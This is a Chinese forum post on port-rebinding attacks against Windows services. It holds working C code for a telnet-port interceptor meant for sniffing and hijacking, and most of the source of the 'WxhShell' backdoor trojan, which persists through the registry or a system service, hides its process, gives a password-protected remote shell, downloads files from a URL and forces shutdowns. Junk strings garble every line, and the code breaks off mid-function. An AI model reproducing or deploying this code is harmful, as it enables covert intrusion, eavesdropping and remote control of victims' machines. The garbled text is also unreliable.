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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k/Ao?R=@gI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D*wY,\  
h{ EnS5~  
  saddr.sin_family = AF_INET; !}"PHby5N  
2kFP;7FO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `]/0&S  
q-+_Y `_\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j 4(f1  
VY!A]S"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _Vt CC/  
0A75)T=lQ  
  这意味着什么?意味着可以进行如下的攻击: Bthp_cSmLs  
?y[i6yN9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5J6~]J  
'@5"p.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {'+.?g  
ipRH.1=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vH"^a/95|  
x^YsXzu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M&rbXi.  
*OY Nx4k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [O3)s]|  
!qs3fe<uh"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )u=a+T  
C'joJEo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~8lB#NuN  
A] f^9F@  
  #include `k9a$@Xg  
  #include RJD(c#r$  
  #include ooN?x31  
  #include    m P./e8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m*>gG{3;  
  int main() {"*gX&;~  
  { (S63:q&g  
  WORD wVersionRequested; :CXm@yF~4=  
  DWORD ret; f(c#1AJE53  
  WSADATA wsaData; mqQC`Aqx:  
  BOOL val; >ZnnGX6$(  
  SOCKADDR_IN saddr; N >];xb>  
  SOCKADDR_IN scaddr; >\s+A2P  
  int err; ~HUO$*U4<  
  SOCKET s; FBA th !E  
  SOCKET sc; *XG.?%x*|  
  int caddsize; 3?wL)6Uj8J  
  HANDLE mt; VO,F[E~_  
  DWORD tid;   GrM`\MIO  
  wVersionRequested = MAKEWORD( 2, 2 ); $1|65j[e  
  err = WSAStartup( wVersionRequested, &wsaData ); f"G-',O<  
  if ( err != 0 ) { AhNz[A  
  printf("error!WSAStartup failed!\n"); p $,ZYF~  
  return -1; Ce@"+k+w  
  } e,@5`aYHM@  
  saddr.sin_family = AF_INET; bxAHzOB(\  
   7$JE+gL/7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {$_Gjv  
mFuHZ)iQG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i[ n3ILn  
  saddr.sin_port = htons(23); }^*m0`H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tAS[T9B  
  { -N1X=4/fg  
  printf("error!socket failed!\n"); "1-z'TV=  
  return -1; S2~im?^21  
  } f2i9UZ$=e!  
  val = TRUE; na] 9-~4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =O~Y6|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =5 $BR<'  
  { 3 E!F8GZ  
  printf("error!setsockopt failed!\n"); a)M3t  
  return -1; ujeN|W  
  } d{c06(#_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #9]O92t2UV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 < *db%{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `s_k+ g  
HurF4IsHk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _>Oc> .MB  
  { aj$&~-/ R  
  ret=GetLastError(); 6JE_rAab  
  printf("error!bind failed!\n"); wl%I(Cw{]  
  return -1; _16r8r$V  
  } ZE6W"pbjU  
  listen(s,2); %ERR^  
  while(1) gq&jNj7V  
  { }_9yemP  
  caddsize = sizeof(scaddr); LOe l6Ui  
  //接受连接请求 )*9,H|2nS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p 8lm1;  
  if(sc!=INVALID_SOCKET) .;%`I  
  { O+ J0X*&x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /*m6-DC  
  if(mt==NULL) (*V:{_r  
  { H:,Hr_;nC  
  printf("Thread Creat Failed!\n"); v=?/c-J*  
  break; 7y=1\KW(  
  } CjmF2[|  
  } OBnvY2)Ri  
  CloseHandle(mt); Md>9Daa~  
  } XOPiwrg%p  
  closesocket(s); ]?0]K!7Ea  
  WSACleanup(); @eN,m {b  
  return 0; J?qikE&  
  }   QT[4\)  
  DWORD WINAPI ClientThread(LPVOID lpParam) G$6mtw6[M  
  { kC/An@J^#  
  SOCKET ss = (SOCKET)lpParam; >ToI$~84  
  SOCKET sc; Lv:;}  
  unsigned char buf[4096]; a]0hB:  
  SOCKADDR_IN saddr; {R5_=MG  
  long num; lLNI5C  
  DWORD val; <O~ieJim  
  DWORD ret; v)LSH;<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r/RX|M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hGU 3DKHT  
  saddr.sin_family = AF_INET; Z>ztFU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SBamgc  
  saddr.sin_port = htons(23); co>IJzg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (iY2d_FQ[  
  { rnM C[  
  printf("error!socket failed!\n"); QTjnXg?Ri  
  return -1; U ]O>DM^'  
  } rh6 e  
  val = 100; gmtS3,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K,@} 'N  
  { F2dwT  
  ret = GetLastError(); !>6`+$=U  
  return -1; \r- v]]_<d  
  } \N)!]jq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OZ2faf  
  { 6Q}>=R^h  
  ret = GetLastError(); ;rt\  
  return -1; Y|-:z@n6C  
  } |uM(A~?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fuo.8  
  { }C5Fvy6uz  
  printf("error!socket connect failed!\n"); /_tN&[  
  closesocket(sc); <(BIWm*  
  closesocket(ss); ])vqXjN6"  
  return -1; 8hZc#b;  
  } 8FgF6ip  
  while(1) r ['zp=9  
  { /F}dC/W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'F7UnkKO|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E{[>j'dwc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `i6q\-12n  
  num = recv(ss,buf,4096,0); 7E R!>l+  
  if(num>0) {"\pMY'7  
  send(sc,buf,num,0); X^d}eWP`I  
  else if(num==0) \d QRQL{LL  
  break; qmq#(%Z <W  
  num = recv(sc,buf,4096,0); BXUd i&'O  
  if(num>0) "tmr s_~  
  send(ss,buf,num,0); JgcMk]|'  
  else if(num==0) z"V`8D  
  break; M&0U@ r-  
  } 1c:/c|shQ_  
  closesocket(ss); /B5rWJ2AS  
  closesocket(sc); +l>X Z  
  return 0 ; Q8NrbMrl  
  } gX/?  
py9`q7F  
>&)|fV&4  
========================================================== g7Z3GUCGL  
Hx ojxZwm  
下边附上一个代码,,WXhSHELL @EUvx  
?nD]p!  
========================================================== 0B(Y{*QB  
CZ ,2Rq  
#include "stdafx.h" Dos';9Uq  
^fti<Lw5  
#include <stdio.h> hIwqSKq9  
#include <string.h> n/+G^:~_  
#include <windows.h> L EY k  
#include <winsock2.h> x^y&<tA  
#include <winsvc.h> -Vj112 fI  
#include <urlmon.h> TR!7@Mu 3  
Sh7ob2  
#pragma comment (lib, "Ws2_32.lib") C59H| S  
#pragma comment (lib, "urlmon.lib") *%2,= p  
-nnAe F  
#define MAX_USER   100 // 最大客户端连接数 36yIfC,  
#define BUF_SOCK   200 // sock buffer |7b@w;q,D  
#define KEY_BUFF   255 // 输入 buffer !FeNx*31i  
y@dTdR2Wc  
#define REBOOT     0   // 重启 9+:<RFJ  
#define SHUTDOWN   1   // 关机 M|qJZ#{4>  
Zu/1:8x  
#define DEF_PORT   5000 // 监听端口 Z xR  
Qz([\Xx:  
#define REG_LEN     16   // 注册表键长度 ;%O>=m'4  
#define SVC_LEN     80   // NT服务名长度 = '<*mT<  
x.>[A^  
// 从dll定义API 5h p)Z7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MDfC%2Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u{|^5%)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QVWUm!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d&%}u1 .  
0Yfz?:e  
// wxhshell配置信息 (2r808^2  
struct WSCFG { 3s Mmg`  
  int ws_port;         // 监听端口 'BNZUuUl  
  char ws_passstr[REG_LEN]; // 口令 ShMP_?]P  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6?= ^8  
  char ws_regname[REG_LEN]; // 注册表键名 t flUy\H>  
  char ws_svcname[REG_LEN]; // 服务名 -FQS5Zb.!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MMf_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rqhRrG{L|&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }K9Ji]tOK:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q=#!wWVP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i&JI"Dd7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z=DK(b;$z  
wyv%c/WlS  
}; ]}nX$xy  
/4,U@s)"/  
// default Wxhshell configuration Xh`Oin}<  
struct WSCFG wscfg={DEF_PORT, ^Rmrre`uU  
    "xuhuanlingzhe", #\MkbZc d  
    1, IdciGS6 t  
    "Wxhshell", >~@ABLp 6  
    "Wxhshell", }~! D]/B  
            "WxhShell Service", vf['$um  
    "Wrsky Windows CmdShell Service", K2-nP2Go?  
    "Please Input Your Password: ", ". wG~H  
  1, UUxP4  
  "http://www.wrsky.com/wxhshell.exe", ,~7+r#q7  
  "Wxhshell.exe" Ms=11C  
    }; -A1:S'aN-  
o.>Yj)U  
// 消息定义模块 lsB.>NlU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PF: E{_~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :6}cczQE|O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^tl&FWF  
char *msg_ws_ext="\n\rExit."; <u2iXH5w  
char *msg_ws_end="\n\rQuit."; K?,`gCN}v  
char *msg_ws_boot="\n\rReboot..."; Hv|(V3-  
char *msg_ws_poff="\n\rShutdown..."; *jo1?  
char *msg_ws_down="\n\rSave to "; eEg> EI_U  
+!<{80w  
char *msg_ws_err="\n\rErr!"; 8YkCTJfBGu  
char *msg_ws_ok="\n\rOK!"; i-Ri;E  
_O"C`]]  
char ExeFile[MAX_PATH]; [,q^\T  
int nUser = 0; %YI!{  
HANDLE handles[MAX_USER]; hVu~[ 'Me  
int OsIsNt; $lf\1)B~*  
cb9@ 0^-  
SERVICE_STATUS       serviceStatus; ;($ 3,d8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t)b /c:ql  
BaE}|4  
// 函数声明 SRc|9W5t*J  
int Install(void); x DX_s:A  
int Uninstall(void); L'}^Av_+  
int DownloadFile(char *sURL, SOCKET wsh); mW @Z1Plxs  
int Boot(int flag); t: qPW<wc  
void HideProc(void); RX\@fmK&  
int GetOsVer(void); 60%EmX ;  
int Wxhshell(SOCKET wsl); Zz56=ZX*_  
void TalkWithClient(void *cs); *G;D u`;  
int CmdShell(SOCKET sock); JL&ni]m  
int StartFromService(void); uCGn9]  
int StartWxhshell(LPSTR lpCmdLine); j0IuuJ+  
nokMS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &3'zG)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BG2Z'WOH  
u3_AZ2-;  
// 数据结构和表定义 \DRYqLT`  
SERVICE_TABLE_ENTRY DispatchTable[] = F` ]s  
{ Xc7Qu?}  
{wscfg.ws_svcname, NTServiceMain}, p|R]/C0f  
{NULL, NULL} s&Qil07 Vl  
}; iVb#X#  
CiC@Z,ud`  
// 自我安装 ,v*<yz/  
int Install(void) ED R*1!d  
{ ,Y2){8#l  
  char svExeFile[MAX_PATH]; +0FmeM&`h_  
  HKEY key; Ov8{ny  
  strcpy(svExeFile,ExeFile); px.]m-  
' $X}'u  
// 如果是win9x系统,修改注册表设为自启动 sK`pV8&xq  
if(!OsIsNt) { b:(*C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >rzpYc'~w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  S]&7  
  RegCloseKey(key); ;gv9J [R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t&Z:G<;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qf6}\0   
  RegCloseKey(key); SZ"^>}zl=  
  return 0; Q5qQ%cu  
    } Y([vma>U]  
  } 3?oj46gP  
} XW9 [VUW~  
else { y5 bELWA  
RBM4_L  
// 如果是NT以上系统,安装为系统服务 Bc2PF;n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [P"R+$"   
if (schSCManager!=0) Vch!&8xii  
{ k84JDPu#  
  SC_HANDLE schService = CreateService 7q,M2v;  
  ( ~`x<;Ts  
  schSCManager, t= oTU,<  
  wscfg.ws_svcname, gEQevy`T%c  
  wscfg.ws_svcdisp, Cn(0ID+3f  
  SERVICE_ALL_ACCESS, @ 6{U*vs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 80qe5WC.2u  
  SERVICE_AUTO_START, kVb8$Sp  
  SERVICE_ERROR_NORMAL, >VWH bo  
  svExeFile, #3act )m  
  NULL, -QUvd1S40  
  NULL, [XP3  
  NULL, rnC u=n  
  NULL, /4n:!6rt  
  NULL 4`+hX'  
  ); (~FLG I  
  if (schService!=0) j(maj  
  { u6(>?r-  
  CloseServiceHandle(schService); &MsBcP[  
  CloseServiceHandle(schSCManager); SZQ4e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )51H\o  
  strcat(svExeFile,wscfg.ws_svcname); 8y, ]>n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xkzC+ _A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bbO1`b-  
  RegCloseKey(key); N/fH%AtM  
  return 0; t'0dyQ%u  
    } `[5QouPV  
  } sj?7}(s  
  CloseServiceHandle(schSCManager); ~ -hH#5  
} @}cZxFQ!C  
} `Dco!ih  
kf<5`8  
return 1; * F T )`  
} bqDHLoB\1  
Hc{0O7  
// 自我卸载 qSWnv`hL  
int Uninstall(void) pZ4]oK\*  
{ X%b.]A  
  HKEY key; va/$dD9  
R_2JP C  
if(!OsIsNt) { uR7\uvibUO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e.|_=Gd2/  
  RegDeleteValue(key,wscfg.ws_regname); Mo2b"A;}|  
  RegCloseKey(key); s) vHLf4T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,,>b=r_r&  
  RegDeleteValue(key,wscfg.ws_regname); V5{^R+_)Ya  
  RegCloseKey(key); 8Dq;QH}  
  return 0; 0FV?By  
  } LGm>x  
} -a[] #v9  
} &m6x*i-5\f  
else { 75V?K  
>9.xFiq<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fscAG\>8  
if (schSCManager!=0) 5/O;&[lYy  
{ $3Ct@}=n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I(dMiL  
  if (schService!=0) 1wa zJj=v  
  { 3S'juHT e  
  if(DeleteService(schService)!=0) { f: h.O# d>  
  CloseServiceHandle(schService); ui:  
  CloseServiceHandle(schSCManager); \&p MF  
  return 0; oiq7I@Y`x  
  } j:9kJq>mv  
  CloseServiceHandle(schService); < g<Lf[n$  
  } 0} UJP   
  CloseServiceHandle(schSCManager); {<HL}m@kQ  
} 6"Km E}  
} _ s]=g  
0NB6S&lI^k  
return 1; lr[a~ca\  
} w$cic  
oO4 Wwi  
// 从指定url下载文件 bV#U&)|  
int DownloadFile(char *sURL, SOCKET wsh) "3*Chc  
{ y4HOKJxI  
  HRESULT hr; D %`64R  
char seps[]= "/"; D/w4u;E@  
char *token; ? 5qo>W<7  
char *file; Ab <4F 7  
char myURL[MAX_PATH]; -k p~p e*T  
char myFILE[MAX_PATH]; ,))UQ7N  
{P_~_5o_  
strcpy(myURL,sURL); >69+e+|I  
  token=strtok(myURL,seps); $Wy7z^ t  
  while(token!=NULL) an 3"y6.8  
  { @83h/Wcxd  
    file=token; uw@z1'D[i"  
  token=strtok(NULL,seps); n2Oi< )  
  } HN\Zrb  
>o=3RB=Fh  
GetCurrentDirectory(MAX_PATH,myFILE); _be*B+?2t  
strcat(myFILE, "\\"); W%f:+s}cI  
strcat(myFILE, file); s7C oUd2  
  send(wsh,myFILE,strlen(myFILE),0); \]U@=w  
send(wsh,"...",3,0); )*I=>v.Jq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %6}S'yL  
  if(hr==S_OK) mN^92@eebC  
return 0; {6v|d{V+e  
else /vl]Oa&U  
return 1; !<!sB)  
h94SLj]  
} /(w:XTO<  
2sjP":  
// 系统电源模块 ,P ?TYk  
int Boot(int flag) -&#L4AM%(9  
{ N7%+n*Z  
  HANDLE hToken; 5r<%xanXW/  
  TOKEN_PRIVILEGES tkp; [IVT0 i  
w| x=^  
  if(OsIsNt) { z I`'n%n=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U A T46  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _7YAF,@vT  
    tkp.PrivilegeCount = 1; C|Bk'<MI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oh`I$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `e0U-W]kF  
if(flag==REBOOT) { ^CTgo,uf6H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p3:x\P<|  
  return 0; cve(pkl  
} fMr6ZmB  
else { @5H1Ni5/o@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o$m64l  
  return 0; br}.s@~  
} 36JVnW;  
  } BbZ-dXC<  
  else { D>,]EE-  
if(flag==REBOOT) { !Y-MUZ$f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kwdmw_  
  return 0; ^ 3LM%B  
} $=$I^hV  
else { Z9ciS";L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v@;:aN  
  return 0; j-ugsV`2=*  
} tnbaU%;|J  
} L1`^~m|  
0/<}.Z]  
return 1; [kzcsJ'/e  
} 9Ps:]Kp!vN  
)_b #c+  
// win9x进程隐藏模块 yw5MlZ4P=  
void HideProc(void) 4hztYOhJ{  
{ epm  t  
R! ?8F4G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0\wMlV`F  
  if ( hKernel != NULL ) kf0zL3|   
  { VG+Yhm<SL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B8 -/ C\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V;?_l?_  
    FreeLibrary(hKernel); KO<fN,DR  
  } zzuDI_,/  
B4R!V!Z*  
return; 'g#Ml`cm  
} fyx-VXu  
TQ" [2cY  
// 获取操作系统版本 AynWs5|z=  
int GetOsVer(void) |!dyk<}oIu  
{ m~r^@D  
  OSVERSIONINFO winfo; a@zKi;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DTN@b!  
  GetVersionEx(&winfo); ExI?UGT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3j0/&ON  
  return 1; JGf6*D"O  
  else 8nQlmWpJ  
  return 0; a9"x_IVU  
}  OnF +  
@\Sa)  
// 客户端句柄模块 oScHmGFv  
int Wxhshell(SOCKET wsl) Jd&Qi)1  
{ P /wc9Yt  
  SOCKET wsh; a<sE dp  
  struct sockaddr_in client; sU4(ed\gI\  
  DWORD myID; p{!aRB%  
NaG1j+LN  
  while(nUser<MAX_USER) ZP*Hx %U  
{ SS O$.rp  
  int nSize=sizeof(client); k\Oy\z@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ):&A\nb  
  if(wsh==INVALID_SOCKET) return 1; I'BoP  
2j H`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tx0/3^\>8A  
if(handles[nUser]==0) wlC_rRj~  
  closesocket(wsh); 1 @E<5rp o  
else  }Q`Kg8L  
  nUser++; ;f[Ki$7  
  } 6*kY7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mc~(S$FU$  
 nq8mzI  
  return 0; "Z }'u2%\m  
} l+ bP48  
Hy|$7]1  
// 关闭 socket %S$`cp  
void CloseIt(SOCKET wsh) >AV-i$4eQ@  
{ xv's52x  
closesocket(wsh); ]0xbvJ8oK  
nUser--; [xk1}D  
ExitThread(0); @8|-  C  
} 9Z6] ];8E  
jr*A1y*  
// 客户端请求句柄 c%Yvj  
void TalkWithClient(void *cs) zkI\ji  
{ Jm\'=#U#  
0^]E-Zf  
  SOCKET wsh=(SOCKET)cs;  ,L\OhT  
  char pwd[SVC_LEN]; %D\TLY  
  char cmd[KEY_BUFF]; /Y:_qsO1  
char chr[1]; B y6:  
int i,j; 9HRYk13ae  
J@H9nw+Q  
  while (nUser < MAX_USER) { D._q'v<  
8G1Tpn  
if(wscfg.ws_passstr) { K`j#'`/KC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jbn{5af  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ngu+V  
  //ZeroMemory(pwd,KEY_BUFF); _I&0HRi  
      i=0; eq "a)QB3m  
  while(i<SVC_LEN) { a>.2Q<1  
&y mfA{s  
  // 设置超时 t}qoIxy)  
  fd_set FdRead; %xyt4}-)m  
  struct timeval TimeOut; | 3!a=  
  FD_ZERO(&FdRead); \5k[ "8~  
  FD_SET(wsh,&FdRead); hBLJKSv  
  TimeOut.tv_sec=8; aQMET~A:  
  TimeOut.tv_usec=0; IJs*zzR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PsEm(.z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E xc`>Y q  
vy[*xT]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^EjZ.#2l;  
  pwd=chr[0]; TW Qf2  
  if(chr[0]==0xd || chr[0]==0xa) { `;*Wt9  
  pwd=0; x7t<F4  
  break; @GBS-iT3  
  } C "<l}  
  i++; g>_6O[;t%  
    } (pH13qU5  
>72j,0=e  
  // 如果是非法用户,关闭 socket zr\I1v]?1#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l\ts!p4f$  
} hp%|n:.G  
4M6o+WV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dU3UCD+2y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @mNf(&  
/.aZXC$]  
while(1) { +AtZltM i  
IW Lv$bPZ/  
  ZeroMemory(cmd,KEY_BUFF); tcwE.>5O  
)2g\GRg6  
      // 自动支持客户端 telnet标准   &tj0Z:  
  j=0; jLI(Z  
  while(j<KEY_BUFF) { 6;l{9cRgc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jv1.Yz  
  cmd[j]=chr[0]; x!{5.#  
  if(chr[0]==0xa || chr[0]==0xd) { iPa!pg4m  
  cmd[j]=0; 8 %Lq~ lk  
  break; *"P :ySA  
  } Cl6y:21]K  
  j++; 1 [[` ^v  
    } 245(ajxHC  
bkceR>h%  
  // 下载文件 Vu*yEF}  
  if(strstr(cmd,"http://")) { &AU%3b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ` *&*jdq&i  
  if(DownloadFile(cmd,wsh)) PnFU{N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xA`Q4"[I  
  else (NFq/w%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q<@f3[A  
  } \"V7O'S)&  
  else { G+=eu K2]  
go|/I&  
    switch(cmd[0]) { &[3 xpi{v  
  Fs|fo-+H}k  
  // 帮助 ES;7_.q  
  case '?': { "e69aAA,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q+19EJ(  
    break; [~W"$sT  
  } #@;RJJZg  
  // 安装 mK%!9F V  
  case 'i': { V);{o>%.K  
    if(Install()) >e/;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cj _Q9/  
    else ZK27^oG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hWJ\dwF  
    break; z. VuY3  
    } YKJk)%;+w  
  // 卸载 d}EGI  
  case 'r': { VSx[{yn  
    if(Uninstall()) sw[1T_S>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L oe!@c  
    else o*_[3{FU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ W eE%"  
    break; al F*L  
    } GLB7h 9>  
  // 显示 wxhshell 所在路径 9jDV]!N4  
  case 'p': { +6B(LPxgP  
    char svExeFile[MAX_PATH]; \tye:!a?;@  
    strcpy(svExeFile,"\n\r"); I?G m  
      strcat(svExeFile,ExeFile); H~i+: X=I  
        send(wsh,svExeFile,strlen(svExeFile),0); 8v8?D8\=|  
    break; 5,:>.LRA  
    } c+f~>AaI  
  // 重启 #|v\UJ:Pf/  
  case 'b': { <*V%!pwIG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yH;=Y1([  
    if(Boot(REBOOT)) azr|Fz/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N$aLCX  
    else { T6=c9f?7  
    closesocket(wsh); .>zXz%p  
    ExitThread(0); cWl  
    } B# |w}hj  
    break; $ii/Q:w T"  
    } gGxgU$`#c  
  // 关机 i;s&;_0{  
  case 'd': { 'v GrbmK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y#V`i K  
